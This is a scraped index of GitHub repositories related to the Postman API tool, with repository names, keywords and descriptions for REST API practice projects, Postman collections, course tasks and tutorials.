Ranagol/api-be
data 		RESTful API with Laravel practice, using Postman. Task: connect Postman to this api, and GET, POST, PUT, DELETE data from the API. 0 stars 0 watchers 0 forks
randomdize/json-to-postman-form-data
bulk, data, form, json, object, random, transform, transforming 		transforming json key-value object to form-data for postman bulk edit. 0 stars 0 watchers 0 forks
raviskarra/vsSampleTickets
data, engine, engineering, event, ticket, tickets 		data engineering event tickets 0 stars 0 watchers 0 forks
redwebs/Postman
class, data, util, utilities 		Postman data classes and utilities 0 stars 0 watchers 0 forks
roba-pivot/organisational-api
action, data, involves, java, organisational, relationship 		Organisational api involves java , H2 and postman app done to accomplish data relationship and their interaction using postman . 0 stars 0 watchers 0 forks
rohit-gohri/postman-aws_lambda
data, lambda, metrics, model, monitor 		Lambda to monitor AWS RDS data model metrics 0 stars 0 watchers 0 forks
rohitchatla/swagger.io-openAPI
api blueprint, asyncapi, auth, bcrypt, book, chat, codes, data, express, following, form, github, google, hapi, hashi, http, https, json schema, list, local, mongo, mongoose, mysql, node, oauth, oauth2, openid, private, projects, rest, restapi, route, routes, sample, sql, swagger, validation 		For more Nodejs,JavaScript projects :: goto https://github.com/thunderssilver to see our team projects listed as following:: 1)stud_form with nodeJS,mysql 2)swagger.io/openAPI 3)socket1 4)restapiauth: (nodeJS,expressJS with routes,private routes,auth(JWT),validations([email protected]),password hashing with bcryptjs,data/codes hiding with dotenv lib,MongoDb(mongoose connect) as DB) 5)restapi: (MongoDb as DB) 6)sample_postman 7)oauth2.0 with google,facebook 8)oauth2.0 with local strategy 0 stars 0 watchers 0 forks
Roms1383/robust-database
data, database, seed 		Concept to use database with Mongoose, seed and TypeScript 0 stars 0 watchers 0 forks
rubenRP/covid-map
covid, data, maps, resource, resources, source, updated 		App creted with GatsbyJS and Leaflet maps to show COVID19 updated data using Postman COVID19 resources. 0 stars 0 watchers 0 forks
ryonryon/Send_POST_DB
data, json 		Send json data by Postman and insert the data in MySQL 0 stars 0 watchers 0 forks
samuelgedaly/RESTfulAPI_Ruby
data, database, following, host, http, local, send 		Completed RESTful API using PostgreSQL database, you should be able to Create, Read, Uptade and Delete (CRUD) a Cause. I used Postman to send the different http requests with the following url: http://localhost:3000/api/v1/causes. 0 stars 0 watchers 0 forks
sandeepkumar14/Restful-API
data, database, mongo, node, test, tested 		Mean stack API for node JS and mongoDB as database. This api tested in Postman (Chrome app). 0 stars 0 watchers 0 forks
Santoshrt999/J2EE-Maven-Project
data, test 		Passing simple data to REST API's (Use Google's Postman App, to test the data) also SpringBoot Framework 0 stars 0 watchers 0 forks
satya497/Movies_Filtering
compose, data, database, docker, form, operation, operations, python, running 		it will get data from database and perform operations using python and running in docker compose and input will taken postman. 0 stars 0 watchers 0 forks
saumyau/CRUD-app-with-Flask
data, databse, student, tabs 		Create, Read, Update and Delete from student databse 0 stars 0 watchers 0 forks
saynegrojas/authentication
auth, authentication, data, database, route, routes, test 		Authentication using JWT. Mongodb Atlas for database, and Postman to test routes. 0 stars 0 watchers 0 forks
SerhiiY/food-delivery-server-goit
branch, course, data, database, express, http, list, module, node, product, products, queries, server, server., task, test, tested, user 		A course task with using node.js server. All queries were tested by Postman. App can give products list or user by id and write a new product or user to the database. On master branch used http module, on express-hw branch express.js is used. 0 stars 0 watchers 0 forks
seyhak/PostmanDjango
data, server 		Simple server with one SQLite tabel for recieving POST data using Django REST 0 stars 0 watchers 0 forks
sha777/Current-weather-data-IDE
data, weather 		Postman Homework by Vyacheslav Shadrin 0 stars 0 watchers 0 forks
shivang1305/postman_js
data, fetch, web app 		A web app to fetch data from the url provided with the help of REST API 0 stars 0 watchers 0 forks
shravanvis/MEAN-AUTH
data, database 		only database work with postman 0 stars 0 watchers 0 forks
shruti-14/postman_collection_monitoring
collection, data, elastic, monitor, monitoring, newman, node, postman collection, storing 		Monitoring postman collection using newman node and storing data in elastic serach 0 stars 0 watchers 0 forks
slpkej/jekshop-api
backend, data, database, express, mongo, mongoose, node, parse, parser, send 		Created a node api using express/bodyparser and mongo and mongoose for the database. Used Postman to send web requests to the backend. 0 stars 0 watchers 0 forks
SowmyaBommu07/REST-CRUD
client, data, database, operation, operations 		REST API - CRUD operations using PHP and MYSQL for the database and Postman as the REST client 0 stars 0 watchers 0 forks
sriharshachilakapati/raw-to-formdata-converter
bulk, convert, converte, converter, data, form 		Convert bulk raw-data into Form-Data for PostMan responses 0 stars 0 watchers 0 forks
suncor-timeseries-trial/postman_collection_ThingModel
collection, data, series, trial 		This is a Postman collection for Modeling a Sample data set in the SAP Leonardo Thing Model. The Model was based on a subset of data provided. 0 stars 0 watchers 0 forks
thandon263/newman-stub
comparing, data, example, examples, newman, runner, test, test run 		This is a newman test runner for comparing api response data to stub examples. 0 stars 0 watchers 0 forks
thangpdtt/nodejs_babeljs_expressjs_mongodb_passport_tests_tdd_postman
auth, authenticate, babel, data, express, expressjs, framework, mongo, mongod, mongodb, node, nodejs, passport, store, test, tests 		The simple app that used express framework with babel compiler run on nodejs. This used passport to authenticate and MongoDb to store data. 0 stars 0 watchers 0 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks
todor70/customer3
customer, data, database, todo 		Spring Boot Spring Data REST with Lombok, H2 database and Postman 0 stars 0 watchers 0 forks
tracksta6/Database_Apigee
data, database, movie, track 		Posting/Gathering/Deleting a movie database on mLab through Postman/Apigee 0 stars 0 watchers 0 forks
umer7/Flask-Parsing-JSON-data
data 		JSON data from a POST request in Flask 0 stars 0 watchers 0 forks
unicobib/Dictionary_Api
data, database, file, store, upload 		upload .txt file from POSTMAN. Application will read all the words from that file and store that into H2 database. 0 stars 0 watchers 0 forks
Unogwudan/currency-conversion-service
cloud, convert, converte, converter, currency, data, database, microservice, service, version 		A currency converter API microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-discovery-server
cloud, convert, converte, converter, currency, data, database, discover, discovery, server, service 		Discovery Server API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-eureka-naming-server
cloud, convert, converte, converter, currency, data, database, eureka, server, service 		Eureka Naming Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-limits-service
cloud, convert, converte, converter, currency, data, database, service 		Config API Microservice for a currency converter app developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-converter-spring-cloud-config-server
cloud, config, convert, converte, converter, currency, data, database, server, service, spring 		Spring Cloud Config Server API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
Unogwudan/currency-exchange-service
cloud, convert, converte, converter, currency, data, database, exchange, service 		A Currency Exchange API Microservice for a currency converter developed with Java, Spring Framework, Spring Boot, Spring Data JPA, H2 database, Spring cloud, Eureka, Hystrix, Ribbon, Zipkin, Rabbit MQ, Zuul, Spring Sleuth, Maven, Tomcat, STS, Postman. 0 stars 0 watchers 0 forks
verso-optim/pOSMan
chinese, data, problem, tree 		Solving the chinese postman problem using OpenStreetMap data 0 stars 0 watchers 0 forks
vigneshios/FirstApiHello
check, checked, collection, collections, data, database, express, mongo, node, writing 		writing my first api with node, mongo database, express.checked api calls in postman, viewed mongo collections in roboMongo. 0 stars 0 watchers 0 forks
vikramdabbugottu/Practice-SpringBoot-Rest-
course, data, operation, operations 		A course data with CRUD operations connecting with MySql and Spring data JPA. Verfied with postman. REST API 0 stars 0 watchers 0 forks
WendellOdom/Basic-Python-Data-Types-01
copy, data, program, python, sequence, type, types 		A sequence about Python Data types that leads to a circle of python data, JSON, Postman REST calls, and copying code into a Python program. 0 stars 0 watchers 0 forks
yash2701/REST_API_PHP_SAMPLE
data, form, format 		Here I build Application under guidance that take data and show in JSON format with help of POSTMAN Software 0 stars 0 watchers 0 forks
yashdeepk/restapi
application, data, endpoint, endpoints, flask, form, format, header, json, python, rest, restapi, verify 		Web Service API using python and flask. A Flask application that expose the RESTful URL endpoints. All data sent to and from the API is in JSON format with the Content-Type header field set to application/json. Used postman to verify the outcome. 0 stars 0 watchers 0 forks
yuralala8/postman
data, saving 		creating or saving new data by making a POST request 0 stars 0 watchers 0 forks

https (78 listings) (Back to Top)

liyasthomas/postwoman
alternative, builder, free, http, https, native, postwoman 		👽 A free, fast and beautiful API request builder (web alternative to Postman) https://postwoman.io 18028 stars 18028 watchers 1105 forks
davellanedam/node-express-mongodb-jwt-rest-api-skeleton
angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync 		This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp 0 stars 0 watchers 119 forks
stategen/stategen
flutter, free, freemarker, github, http, https, java, mock, provider, react, script, spring, stat, type, types, typescript 		通用springMvc/springBoot分布式非强迫性全栈架构(java服务端，H5、iOS、andriod前端)，内含大名鼎鼎的支付宝dalgen之freemarker开源实现之商用升级版dalgenX，是唯一支持迭代开发的全栈代码生成器，大量前、后端代码通过生成器生成，其中后端任意api直接生成前端网络调用、状态化、交互等相关代码，把前后端分离开发"拉"回来，目前前端已支持react(dva+umi+typescript)和flutter(provider),后续加入kotlin、swf。免去前端文档、调试、postman、mockjs...繁琐。开发中迭代生成，不改变原开发流程、生成80%代码,兼容后20%你自己的代码，拒绝挖坑！ https://github.com/stategen/stategen 44 stars 44 watchers 10 forks
CiscoDevNet/opendaylight-sample-apps
application, applications, apps, http, https, light, sample 		Sample applications for use with OpenDaylight (https://www.opendaylight.org/) 0 stars 0 watchers 36 forks
BestPracticeSchool/BPS-BaseDevelopment_1_2019
http, https 		Course: "Base of Development" by BestPractice School https://bestpracs.ru/ 3 stars 3 watchers 1 forks
postmanlabs/newman-orb
circleci, collection, collections, http, https, newman, running 		CircleCI Orb for running collections with Newman - https://circleci.com/orbs/registry/orb/postman/newman 0 stars 0 watchers 4 forks
laowensjr/Web-API-CRUD-Methods-cSharp
download, http, https, test 		A Web API. Use POSTMAN (download at https://www.getpostman.com/downloads/) to test 1 stars 1 watchers 0 forks
ubaid-me/soapui2postman
chrome, export, form, format, google, http, https, json, soap, soapui, source, store 		Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. 1 stars 1 watchers 0 forks
dowglasmaia/api-backend--school-management
backend, changing, conducted, github, hibernate, http, https, school 		School Management System, audit with hibernate-envers, Test conducted with Postman. | front-end: https://github.com/dowglasmaia/school-management-front-end-Angular.gitDay: 15/08/2019 - changing repository to a Private, to continue the Project 1 stars 1 watchers 0 forks
gabrielbarban/api-twitter
github, http, https, twitter 		https://github.com/twitterdev/postman-twitter-ads-api 1 stars 1 watchers 0 forks
bigzoo/matuba_api
collection, collections, hackathon, http, https, transport 		Backend API during Where is transport hackathon. Postman Collection here: https://www.getpostman.com/collections/f3132fdfe959ba3f60c9 1 stars 1 watchers 0 forks
jextop/postman
http, https 		Postman可以这样用？使用技巧在线课程，赋能API测试和集成，网课：https://edu.51cto.com/sd/0b55b 1 stars 1 watchers 0 forks
retta-ti/geogrid-apis-postman
geogrid, http, https, maps, test 		Projeto com as APIs do GeoGrid (https://geogridmaps.com.br/) para testar usando o Postman. 1 stars 1 watchers 0 forks
manigandand/Simple-Issue-Tracker-V2-SIT-
collection, collections, http, https 		Aircto Test - Simple Issue Tracker V2 (SIT). Postman Collection: https://www.getpostman.com/collections/7c8f1844ca96f5e1b859 1 stars 1 watchers 0 forks
MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
ellucianEthos/postman-ethos-integration
ethos, http, https, integration 		Example API calls for Ethos Integration using Postman Collections - https://www.getpostman.com/ 0 stars 0 watchers 2 forks
droidment/PostmanCollectionForTeslaApis
collection, http, https, tesla 		Postman collection for Tesla APIs - Thanks https://www.teslaapi.io/ 0 stars 0 watchers 1 forks
dare-rider/restaurant_reservation_api
4107, collection, collections, http, https, reservation, rest, restaurant 		Postman Collection Link: https://www.getpostman.com/collections/c874107058b288d51bfc 0 stars 0 watchers 1 forks
ramadhan22/api_laravel
collection, collections, http, https, laravel 		Link postman https://www.getpostman.com/collections/ecb538f54650f76a4444 0 stars 0 watchers 1 forks
affan2/django-postman
bitbucket, bucket, clone, django, http, https 		cloned from https://bitbucket.org/affan2/django-postman 0 stars 0 watchers 1 forks
nhipham65/UI_API_Automation_Test
automat, automation, http, https, json, place, placeholder, rest, site 		Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ 0 stars 0 watchers 1 forks
AJK55/postman_mercado
bitcoin, http, https 		https://mercadobitcoin.net/api-doc/ 0 stars 0 watchers 0 forks
tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
anurag8867/LoginSignUpNodeJs
collection, collections, http, https, link 		postman link: https://www.getpostman.com/collections/5193609d92a73906c0ae 0 stars 0 watchers 0 forks
Boondockers-Welcome/django-postman
bitbucket, bucket, django, docker, http, https 		Synced from https://bitbucket.org/psam/django-postman 0 stars 0 watchers 0 forks
cxloge/Postman
http, https 		Postman简化了API开发。 使用业界唯一的完整API开发环境，轻松获得API-First解决方案。 入门 https://www.getpostman.com/ 0 stars 0 watchers 0 forks
DCOD-Forks/django-postman
bitbucket, bucket, django, http, https 		Fork of https://bitbucket.org/psam/django-postman/ 0 stars 0 watchers 0 forks
developer-kikikaikai/swagger2-to-postman-sample
developer, github, http, https, sample, swagger, swagger2 		sample to use https://github.com/postmanlabs/swagger2-to-postman 0 stars 0 watchers 0 forks
dsarangd/https-github.com-CiscoDevNet-postman-ciscospark
cisco, description, github, http, https, script 		No description available. 0 stars 0 watchers 0 forks
HP213/My_first_blockchain
blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app 		This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ 0 stars 0 watchers 0 forks
marykayrima/Postmann_Jsonplaceholder_testing
http, https, json, place, placeholder, test, testing, todo 		https://jsonplaceholder.typicode.com/todos/ 0 stars 0 watchers 0 forks
pateljp078/https-github.com-taylonr-postman
description, github, http, https, script 		No description available. 0 stars 0 watchers 0 forks
qaespence/REST_API_Testing_POSTMAN
http, https, rest, site, test, testing 		REST API testing using Postman for the site https://gorest.co.in 0 stars 0 watchers 0 forks
raghwendra-sonu/APIChainingInPostman
chai, data, http, https 		https://medium.com/@Raghwendra.sonu/postman-chain-api-requests-get-data-from-response-of-one-api-and-refer-in-another-api-d3bb184c2dd1 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
rishithm/https-github.com-salesforce-marketingcloud-postman-blob-master-SFMC.json.postman_collection
cloud, collection, description, github, http, https, json, salesforce, script 		No description available. 0 stars 0 watchers 0 forks
surendraitdc/https-github.com-taylonr-postman
description, github, http, https, script 		No description available. 0 stars 0 watchers 0 forks
agafun/Restful-Booker-API-tests
book, booker, heroku, http, https, rest, restful, test, tests 		API tests of https://restful-booker.herokuapp.com with Postman 0 stars 0 watchers 0 forks
apiraino/poor-postman
http, https, wiki 		Experimenting with Gtk in Rust @ https://wiki.gnome.org/Hackfests/Rust2019 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
cpvariyani/kafka-implementation-.net-core-c-
application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube 		youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. 0 stars 0 watchers 0 forks
erthalion/django-postman
bitbucket, bucket, django, github, http, https, mirror 		github mirror of https://bitbucket.org/erthalion/django-postman 0 stars 0 watchers 0 forks
Ghop11/postmanAutomationAnimalFacts
animal, automat, automation, docs, endpoint, endpoints, facts, github, html, http, https 		API automation for animal facts. https://alexwohlbruck.github.io/cat-facts/docs/endpoints/facts.html 0 stars 0 watchers 0 forks
gsuscastellanosSC/CursoBackendConNode.js
backend, event, form, http, https, node, nodejs, program 		Introducción y bienvenida Guillermo Rodas será tu profesor en este curso, él tiene más 6 años dedicado a programar sólo en JavaScript y forma parte del equipo de Auth0, además de ser Google Developer Expert (GDE) en Web Technologies y organizador de eventos como Medellin CSS y CSS Conf. Requisitos antes de iniciar: Node y NPM Editor de texto ya sea vsCode, Atom o Sublime Text Navegador Chrome o Firefox Extensión JSON viewer Postman en @platzi https://platzi.com/clases/1646-backend-nodejs/22012-introduccion-y-bienvenida/ 💚💚💚 0 stars 0 watchers 0 forks
gtardivo/API-GITLAB-POSTMAN
docs, gitlab, html, http, https 		Usando API – GitLab – com o Postman (fonte:https://docs.gitlab.com/ee/api/README.html): 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
hatoriz/selflearning_postman
html, http, https, learn, learning, tutorial 		https://www.guru99.com/postman-tutorial.html 0 stars 0 watchers 0 forks
ivan-wolf/denner-postman
http, https 		Postman Collections for Denner 2.0 Portal and Web Services. https://www.getpostman.com 0 stars 0 watchers 0 forks
Jaco1984/Spottify_Javier
dashboard, developer, http, https, login, service, spotify, token 		Aplicación como Spotiffy, para probarla necesitan el token que genera vuestra sesion "https://developer.spotify.com/dashboard/login" yo lo uso con el Postman para recogerlo y poder probarlo hay que cambiarlo en el archivo "spotiffy.service.ts" en la linea 21 despues del Bearer 0 stars 0 watchers 0 forks
juannorris/django-postman
bitbucket, bucket, customized, django, export, exported, http, https 		django-postman, customized by scoobygalletas (https://[email protected]/scoobygalletas), exported to git from hg. 0 stars 0 watchers 0 forks
k6io/example-postman-collection
blog, collection, collections, example, http, https, test, testing 		https://k6.io/blog/load-testing-with-postman-collections/ 0 stars 0 watchers 0 forks
kurtulussahin/users_demo_api_postman_collection
collection, http, https, integration, travis, user, users 		Postman-Travis integration demo - https://travis-ci.org/kurtulussahin/users_demo_api_postman_collection 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno 